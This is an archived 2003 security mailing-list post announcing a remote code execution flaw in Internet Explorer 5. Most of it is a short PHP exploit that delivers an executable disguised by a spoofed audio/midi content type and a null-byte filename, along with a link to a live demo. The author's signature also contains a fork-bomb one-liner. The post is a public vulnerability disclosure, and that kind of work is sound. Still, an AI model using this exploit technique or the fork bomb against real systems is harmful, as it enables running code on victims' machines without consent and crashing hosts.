OSEC

Neohapsis is currently accepting applications for employment. For more information, please visit our website www.neohapsis.com or email hr@neohapsis.com
 
IE remote code execution

From: Marcin Ulikowski (r3b00ttx.pl)
Date: Sat Oct 18 2003 - 17:15:39 CDT

This code can execute any code remotely using IE - as you can see very simple.

// for IE 5, tested on default Windows 98SE installation
<?php
Header("Content-type: audio/midi");
Header("Content-Disposition: inline; filename=readme.txt%00code.exe");
readfile("code.exe");
?>
<noscript>

Here you have a demo:
http://r3b00t.tx.pl/iexec5.php

Can we expect more surprises like this one?

--
------------------------------
r3b00t ~ [http://r3b00t.tx.pl]
just do main(){for(;;)fork();}
------------------------------